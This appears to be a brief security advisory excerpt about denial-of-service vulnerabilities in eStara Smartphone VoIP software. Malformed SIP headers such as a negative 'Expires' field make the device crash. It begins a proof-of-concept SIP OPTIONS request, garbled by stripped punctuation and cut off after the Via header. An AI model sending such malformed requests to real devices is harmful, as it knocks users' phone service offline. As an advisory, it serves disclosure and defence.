source: wwwsecurityfocuscom/bid/16629/info
eStara Smartphone is prone to multiple denial-of-service vulnerabilities when processing malformed VOIP headers Successful exploitation will cause the device to crash
For the negative 'Expires' field issue:
OPTIONS sip:a@127001 SIP/20
Via: SIP/20/UDP 1721636:3334;branch=z9hG4bK000017 ...